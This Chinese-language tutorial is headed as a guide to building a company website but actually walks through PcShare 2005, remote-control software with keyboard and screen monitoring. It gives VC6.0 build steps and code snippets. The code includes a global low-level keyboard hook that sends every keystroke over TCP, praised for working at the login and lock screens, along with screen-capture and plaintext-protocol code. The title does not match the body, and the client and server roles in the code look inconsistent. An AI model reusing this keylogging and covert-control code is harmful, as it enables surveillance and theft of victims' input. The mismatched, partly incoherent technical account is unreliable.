企业官网建设流程全解析

简介：本资源为经典远程控制软件PcShare 2005版本的完整VC6.0源码工程，面向C++初学者、系统安全研究者及Windows底层开发学习者，提供可直接编译运行的远控系统实现范例，助其深入理解远程桌面监控、键盘鼠标控制、注册表管理、客户机生成与删除等核心功能模块的设计逻辑。压缩包共403个文件，涵盖98个cpp与121个h头文件（构成主体逻辑与接口定义）、60个ico与30个bmp资源文件（支撑界面与图标显示）、12个dsw/dsp工程文件（支持VC6.0一键加载编译），整体仅1006KB，轻量易读。已有950人学习下载，代码结构清晰、模块划分明确，预览可见“屏幕监控.bmp”“键盘监控.bmp”“注册表管理.bmp”等功能对应资源，便于结合源码逆向分析行为路径、复现实现机制，并为安全加固、协议解析或教学演示提供可靠基线代码。

1. 这不是“远控软件源码”教学包，而是一份被反复验证过的 Windows 桌面控制协议实战标本

某高校实验室在做远程运维教学系统时，需要一个能讲清楚「服务端监听→客户端连接→屏幕捕获→键盘鼠标转发→指令响应」全链路的底层范例。他们试过七八个所谓“开源远控”，要么编译报错一堆、要么运行就蓝屏、要么核心模块（比如 GDI 屏幕抓取或 RawInput 键鼠注入）直接阉割。最后翻出一份叫PcShare的 VC6.0 工程——不是 GitHub 上新写的 Electron 封装，而是用纯 Win32 API + MFC 写的老派 C++ 项目，VC6.0 环境下双击 DSW 文件就能加载，按 F7 一键编译通过，生成的 EXE 在 Windows XP SP3 到 Windows 10 20H2 上均稳定运行。它不提供 Web 控制台、不依赖云中转、不带加密混淆，所有通信走明文 TCP，所有控制逻辑裸露在.cpp文件里。适合想真正搞懂「Windows 远程桌面协议最小可行实现」的开发者：不是调 SDK，而是亲手 hookBitBlt、解析WM_MOUSEMOVE、序列化INPUT结构体。如果你正卡在「为什么我的屏幕图传过去是花屏」「为什么鼠标点击没反应」「为什么服务端收不到键盘事件」这类问题上，这份源码就是你该拆的第一块砖。

2. 编译环境复现：VC6.0 不是怀旧，而是 Win32 API 调用契约的黄金标尺

VC6.0 对今天的开发者来说像古董，但它恰恰锁定了 Windows 98/XP 时代最原始、最无封装的 API 调用方式。PcShare没有用 ATL、没用 WTL、没用_tmain或 Unicode 宏，所有字符串操作直踩char*，所有窗口消息处理硬写WndProc分发逻辑。这意味着：它不兼容 VS2015+ 的 CRT 版本，但兼容性反而成了优势——没有 ABI 漂移，没有隐式链接库冲突，没有 Unicode/ANSI 自动转换玄学。

2.1 必装组件与路径规范

VC6.0 官方安装包（如vc6ent.iso）需完整安装以下三部分：

• Visual C++ 6.0（核心编译器）
• Platform SDK for Windows 98/2000（必须选装，否则#include <winsock2.h>报错）
• MFC 4.2 Library Source Code（源码级调试必需，afxwin.h等头文件需可跳转）

提示：安装路径严禁含中文、空格、长路径。推荐固定为C:\Program Files\Microsoft Visual Studio\VC98\。若装在D:\VS6\，需手动修改Tools → Options → Directories中的 Include 和 Library 路径，否则windows.h找不到。

2.2 工程文件结构与关键入口

解压后目录结构极简：

PcShare/ ├── PcShare.dsw ← 工作区文件（VC6.0 加载入口） ├── PcShare.dsp ← 服务端工程（主控端，监听端口） ├── Client.dsp ← 客户端工程（被控端，主动连接） ├── Src/ │ ├── Server/ ← 服务端核心：Socket 监听、会话管理、命令分发 │ │ ├── MainFrm.cpp ← MFC 主框架，含 `OnStartServer()` 启动监听 │ │ └── Session.cpp ← 单个客户端会话，含 `SendScreenData()` 发送位图 │ ├── Client/ ← 客户端核心：屏幕捕获、键鼠钩子、指令接收 │ │ ├── Capture.cpp ← 关键！`CaptureScreen()` 使用 BitBlt + CreateCompatibleBitmap │ │ └── Hook.cpp ← 关键！`SetWindowsHookEx(WH_KEYBOARD_LL, ...)` 全局钩子 │ └── Common/ ← 公共协议定义：`PACKET_HEADER` 结构体、命令枚举 └── Res/ ← 资源文件：图标、对话框模板

服务端启动逻辑在Server/MainFrm.cpp的OnStartServer()：

void CMainFrame::OnStartServer() { // 1. 初始化 Winsock WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData); // 必须是 2.2，VC6.0 不支持更高版本 // 2. 创建监听 socket m_hListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 3. 绑定到端口（默认 8000） sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(8000); // 注意：htons 转换字节序 addr.sin_addr.s_addr = INADDR_ANY; bind(m_hListenSock, (sockaddr*)&addr, sizeof(addr)); // 4. 开始监听 listen(m_hListenSock, 5); // 5. 启动监听线程（非阻塞） AfxBeginThread(ListenThreadProc, this); }

这段代码暴露了PcShare的设计哲学：所有网络操作剥离 UI 线程，用AfxBeginThread启动独立工作线程，避免 MFC 消息循环卡死。ListenThreadProc是纯 C 函数，参数传入this指针，内部通过PostMessage向主线程发WM_NEWCLIENT消息通知新连接。

2.3 客户端屏幕捕获：BitBlt 的血泪经验

Client/Capture.cpp中的CaptureScreen()是性能瓶颈点，也是新手最容易翻车的地方：

BOOL CaptureScreen(HDC hDestDC, int x, int y, int width, int height) { HDC hSrcDC = GetDC(NULL); // 获取整个屏幕 DC if (!hSrcDC) return FALSE; // 创建兼容位图（关键！必须与目标 DC 兼容） HBITMAP hBitmap = CreateCompatibleBitmap(hDestDC, width, height); if (!hBitmap) { ReleaseDC(NULL, hSrcDC); return FALSE; } HDC hMemDC = CreateCompatibleDC(hDestDC); // 内存 DC 必须与目标 DC 兼容 HGDIOBJ hOldObj = SelectObject(hMemDC, hBitmap); // 执行位图拷贝（注意坐标：从屏幕左上角拷贝） BOOL bRet = BitBlt(hMemDC, 0, 0, width, height, hSrcDC, x, y, SRCCOPY); // 清理资源（顺序不能错！） SelectObject(hMemDC, hOldObj); DeleteDC(hMemDC); DeleteObject(hBitmap); ReleaseDC(NULL, hSrcDC); return bRet; }

关键参数说明：

• hDestDC：传入的是服务端发来的内存 DC（实际是CreateCompatibleDC(NULL)创建），用于保证位图格式一致；
• x,y：屏幕绝对坐标，PcShare默认捕获全屏（x=0,y=0,width=GetSystemMetrics(SM_CXSCREEN)）；
• SRCCOPY：必须用此光栅操作码，其他如SRCAND会导致黑屏；
• 血泪经验：若CreateCompatibleBitmap传入hSrcDC（屏幕 DC）而非hDestDC，在高 DPI 或多显示器下必花屏——因为屏幕 DC 的像素格式（如 32bpp）与服务端 DC（可能 24bpp）不匹配。

3. 核心协议与指令流转：从鼠标移动到屏幕刷新的 7 步闭环

PcShare的通信协议极简，全部定义在Common/Packet.h：

#pragma pack(1) // 强制 1 字节对齐，避免结构体填充 struct PACKET_HEADER { BYTE cmd; // 命令类型：CMD_MOUSE_MOVE, CMD_KEY_DOWN, CMD_SCREEN_DATA WORD len; // 后续数据长度（不含 header） DWORD timestamp; // 时间戳，用于服务端排序 }; struct MOUSE_MOVE_PACKET { PACKET_HEADER hdr; SHORT x; // 相对坐标（-32768 ~ 32767） SHORT y; }; struct SCREEN_DATA_PACKET { PACKET_HEADER hdr; DWORD width; // 位图宽 DWORD height; // 位图高 DWORD size; // 压缩后数据大小（实际未压缩，直传 BMP 数据） BYTE data[1]; // 紧跟 header 的原始位图字节流 }; #pragma pack()

注意：#pragma pack(1)是生死线。VC6.0 默认结构体对齐为 8 字节，若不强制 1 字节，MOUSE_MOVE_PACKET的x字段会偏移 4 字节，导致服务端读取坐标错位。

3.1 客户端键鼠事件捕获与封装

Client/Hook.cpp实现全局低级钩子：

// 全局键盘钩子回调 LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam; if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { KEY_DOWN_PACKET pkt = {0}; pkt.hdr.cmd = CMD_KEY_DOWN; pkt.hdr.len = sizeof(pkt) - sizeof(PACKET_HEADER); pkt.vkCode = p->vkCode; // 虚拟键码（如 VK_A, VK_RETURN） pkt.scanCode = p->scanCode; pkt.flags = p->flags; // 发送给服务端（TCP socket） send(g_hClientSock, (char*)&pkt, sizeof(pkt), 0); } } return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam); }

为什么用LowLevelKeyboardProc而非KeyboardProc？
前者是系统级钩子，能捕获登录界面、锁屏状态下的按键（需管理员权限）；后者是线程级，仅捕获本进程消息。PcShare要求“被控端完全接管”，必须用低级钩子。

3.2 服务端指令分发与 UI 响应

服务端收到CMD_MOUSE_MOVE后，不直接调用SetCursorPos（会触发安全警告），而是通过mouse_eventAPI 模拟：

// Server/Session.cpp 处理鼠标移动 void CSession::HandleMouseMovePacket(MOUSE_MOVE_PACKET* pkt) { // 转换为绝对屏幕坐标（服务端分辨率） int absX = MulDiv(pkt->x, m_screenWidth, 65535) + m_offsetX; int absY = MulDiv(pkt->y, m_screenHeight, 65535) + m_offsetY; // 模拟鼠标移动（注意：必须用 MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE） mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, absX, absY, 0, 0); }

关键点：MOUSEEVENTF_ABSOLUTE要求坐标范围是0~65535，所以客户端发送前将GetCursorPos得到的POINT结构体做了归一化（x * 65535 / screenWidth），服务端再反向缩放。这是跨不同分辨率屏幕同步鼠标位置的核心技巧。

3.3 屏幕数据接收与显示优化

服务端接收SCREEN_DATA_PACKET后，不直接StretchBlt到窗口 DC（太慢），而是：

1. 将data[]解析为BITMAPINFO+BYTE*位图数据；
2. 用CreateDIBSection创建可共享位图对象；
3. 在OnPaint中用BitBlt将位图 Blit 到客户区 DC。

Server/Session.cpp中的UpdateScreenView：

void CSession::UpdateScreenView(BYTE* pData, DWORD size, DWORD width, DWORD height) { // 1. 构建 BITMAPINFOHEADER（24bpp RGB） BITMAPINFOHEADER bi = {0}; bi.biSize = sizeof(bi); bi.biWidth = width; bi.biHeight = -((LONG)height); // 负值表示 top-down bitmap bi.biPlanes = 1; bi.biBitCount = 24; bi.biCompression = BI_RGB; // 2. 创建 DIB Section（内存位图，可直接 memcpy） void* pBits; m_hBitmap = CreateDIBSection(NULL, (BITMAPINFO*)&bi, DIB_RGB_COLORS, &pBits, NULL, 0); if (m_hBitmap && pBits) { memcpy(pBits, pData, size); // 直接拷贝原始数据 } }

为什么用CreateDIBSection？
它返回的HBITMAP可以被多个 DC 共享，且pBits是可写内存指针，后续若加 JPEG 压缩，可直接对pBits区域操作，无需GetDIBits拷贝。

4. 避坑指南：VC6.0 编译与运行的 5 个真实翻车现场

PcShare能“直接编译通过”是相对的——它依赖 VC6.0 的特定行为，现代环境稍有偏差就崩。以下是某开发者在 Windows 10 + VC6.0 虚拟机中实测的 5 个高频问题：

4.1 现象：编译时报错error C2065: 'SOCKET' : undeclared identifier

原因：winsock2.h未正确包含，或#include <winsock2.h>写在windows.h之后（VC6.0 中windows.h会自动 includewinsock.h，与winsock2.h冲突）。
解决：在所有.cpp文件顶部，严格按顺序写：

#include <winsock2.h> #include <windows.h>

并在Project → Settings → C/C++ → Preprocessor中添加预定义宏WIN32_LEAN_AND_MEAN，防止windows.h拉入冗余头文件。

4.2 现象：服务端启动后立即崩溃，调用堆栈停在WSAStartup

原因：VC6.0 默认链接wsock32.lib（Winsock 1.1），但代码用MAKEWORD(2,2)请求 Winsock 2.2。
解决：Project → Settings → Link → Object/Library Modules中，删除wsock32.lib，添加ws2_32.lib。同时确认Tools → Options → Directories → Library files包含 Platform SDK 的Lib路径（如C:\Program Files\Microsoft SDK\lib）。

4.3 现象：客户端连接服务端后，屏幕画面静止，但鼠标移动正常

原因：CaptureScreen()中BitBlt返回FALSE，但代码未检查返回值，继续发送空位图。
解决：在Client/Capture.cpp的CaptureScreen()末尾强制加日志：

if (!bRet) { OutputDebugString("CaptureScreen failed!\n"); // 可选：返回上一帧缓存位图，避免黑屏 }

常见根因是CreateCompatibleBitmap失败（显存不足）或hSrcDC无效（多显示器切换时GetDC(NULL)返回 NULL）。

4.4 现象：键盘输入在服务端无反应，但鼠标正常

原因：客户端未以管理员权限运行，SetWindowsHookEx(WH_KEYBOARD_LL, ...)失败返回NULL，但代码未校验钩子句柄。
解决：在Client/Hook.cpp的钩子安装处加断言：

g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, g_hInstance, 0); if (!g_hKeyboardHook) { DWORD err = GetLastError(); char buf[128]; wsprintf(buf, "SetWindowsHookEx failed: %d\n", err); OutputDebugString(buf); // err=5 表示拒绝访问，需管理员权限 }

4.5 现象：服务端窗口显示花屏，颜色错乱（如蓝色变红色）

原因：SCREEN_DATA_PACKET中位图数据是 24bpp BGR 格式（Windows GDI 默认），但服务端CreateDIBSection时bi.biBitCount=24未指定bi.biCompression=BI_RGB，导致某些驱动解析为 RGB。
解决：在Server/Session.cpp的UpdateScreenView中，必须显式设置bi.biCompression = BI_RGB，并确保bi.biHeight为负值（top-down bitmap），否则位图上下颠倒。

5. 二次开发实战：给 PcShare 加上屏幕区域选择与 JPEG 压缩

PcShare的原始设计是全屏捕获 + 原始 BMP 传输，带宽消耗大（1024×768×3 ≈ 2.25MB/帧）。实际项目中，我们常需：

• 仅捕获用户选定的矩形区域（如某个窗口、某个对话框）；
• 对位图做轻量 JPEG 压缩（压缩比 10:1，CPU 开销可控）；
• 服务端接收后解压并显示。

下面给出可直接集成的改造步骤，基于Client/Capture.cpp和Server/Session.cpp。

5.1 客户端：增加区域选择与 JPEG 压缩

首先，在Client/Capture.cpp添加 JPEG 压缩函数（使用 Windows 自带Gdiplus，需链接gdiplus.lib）：

#include <gdiplus.h> #pragma comment(lib, "gdiplus.lib") // 初始化 GDI+（在程序启动时调用一次） ULONG_PTR gdiplusToken; void InitGdiplus() { Gdiplus::GdiplusStartupInput gdiplusStartupInput; Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); } // 压缩位图到 JPEG 内存块 BOOL CompressToJpeg(HBITMAP hBmp, BYTE** ppData, DWORD* pSize, LONG quality = 80) { // 1. 获取位图信息 BITMAP bmp; if (!GetObject(hBmp, sizeof(bmp), &bmp)) return FALSE; // 2. 创建 GDI+ Bitmap Gdiplus::Bitmap* pGdiBmp = new Gdiplus::Bitmap(hBmp, NULL); if (!pGdiBmp || pGdiBmp->GetLastStatus() != Gdiplus::Ok) { delete pGdiBmp; return FALSE; } // 3. 获取 JPEG 编码器 CLSID CLSID encoderClsid; GetEncoderClsid(L"image/jpeg", &encoderClsid); // 4. 设置质量参数 Gdiplus::EncoderParameters encoderParams; encoderParams.Count = 1; encoderParams.Parameter[0].Guid = Gdiplus::EncoderQuality; encoderParams.Parameter[0].Type = Gdiplus::EncoderParameterValueTypeLong; encoderParams.Parameter[0].NumberOfValues = 1; encoderParams.Parameter[0].Value = &quality; // 5. 保存到内存 IStream IStream* pStream = NULL; CreateStreamOnHGlobal(NULL, TRUE, &pStream); if (pGdiBmp->Save(pStream, &encoderClsid, &encoderParams) != Gdiplus::Ok) { pStream->Release(); delete pGdiBmp; return FALSE; } // 6. 读取流数据 STATSTG stat; pStream->Stat(&stat, STATFLAG_NONAME); *pSize = (DWORD)stat.cbSize.QuadPart; *ppData = new BYTE[*pSize]; LARGE_INTEGER li = {0}; pStream->Seek(li, STREAM_SEEK_SET, NULL); ULONG read; pStream->Read(*ppData, *pSize, &read); pStream->Release(); delete pGdiBmp; return TRUE; }

然后修改CaptureScreen()，支持区域捕获：

// 新增参数：指定捕获区域（NULL 表示全屏） BOOL CaptureScreenRegion(HDC hDestDC, RECT* pRect, BYTE** ppJpegData, DWORD* pJpegSize) { RECT rect = pRect ? *pRect : CRect(0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN)); // 创建兼容位图（尺寸为区域宽高） HBITMAP hBitmap = CreateCompatibleBitmap(hDestDC, rect.right-rect.left, rect.bottom-rect.top); if (!hBitmap) return FALSE; HDC hMemDC = CreateCompatibleDC(hDestDC); HGDIOBJ hOldObj = SelectObject(hMemDC, hBitmap); // 捕获指定区域（注意：BitBlt 的 src 坐标是 rect.left/rect.top） BOOL bRet = BitBlt(hMemDC, 0, 0, rect.right-rect.left, rect.bottom-rect.top, GetDC(NULL), rect.left, rect.top, SRCCOPY); if (bRet) { // 压缩为 JPEG bRet = CompressToJpeg(hBitmap, ppJpegData, pJpegSize); } // 清理 SelectObject(hMemDC, hOldObj); DeleteDC(hMemDC); DeleteObject(hBitmap); return bRet; }

5.2 服务端：接收 JPEG 并解码显示

在Server/Session.cpp中添加 JPEG 解码函数：

#include <gdiplus.h> // 解码 JPEG 内存块为 HBITMAP HBITMAP DecodeJpegFromMemory(BYTE* pData, DWORD size) { IStream* pStream = NULL; CreateStreamOnHGlobal(NULL, TRUE, &pStream); pStream->Write(pData, size, NULL); Gdiplus::Bitmap* pBmp = Gdiplus::Bitmap::FromStream(pStream); if (!pBmp || pBmp->GetLastStatus() != Gdiplus::Ok) { pStream->Release(); return NULL; } // 转为 HBITMAP HBITMAP hBmp = NULL; pBmp->GetHBITMAP(Gdiplus::Color(0,0,0), &hBmp); delete pBmp; pStream->Release(); return hBmp; }

修改HandleScreenDataPacket：

void CSession::HandleScreenDataPacket(SCREEN_DATA_PACKET* pkt) { // pkt->data 现在是 JPEG 数据，不是原始 BMP HBITMAP hBmp = DecodeJpegFromMemory(pkt->data, pkt->size); if (hBmp) { // 更新显示（复用原有 UpdateScreenView 逻辑） BITMAP bmp; GetObject(hBmp, sizeof(bmp), &bmp); UpdateScreenViewFromBitmap(hBmp, bmp.bmWidth, bmp.bmHeight); DeleteObject(hBmp); } }

5.3 改造验证与性能对比

提示：JPEG 压缩质量建议设为70~85。低于 70 会出现明显块效应；高于 85 压缩比下降快，收益递减。从那以后我每次给远控项目加图像压缩，都强制走一遍Gdiplus初始化 +CLSID查找 +IStream流封装三步，宁可多写 20 行，也不信“自动识别格式”的玄学接口。希望帮到你。

本文还有配套的精品资源，点击获取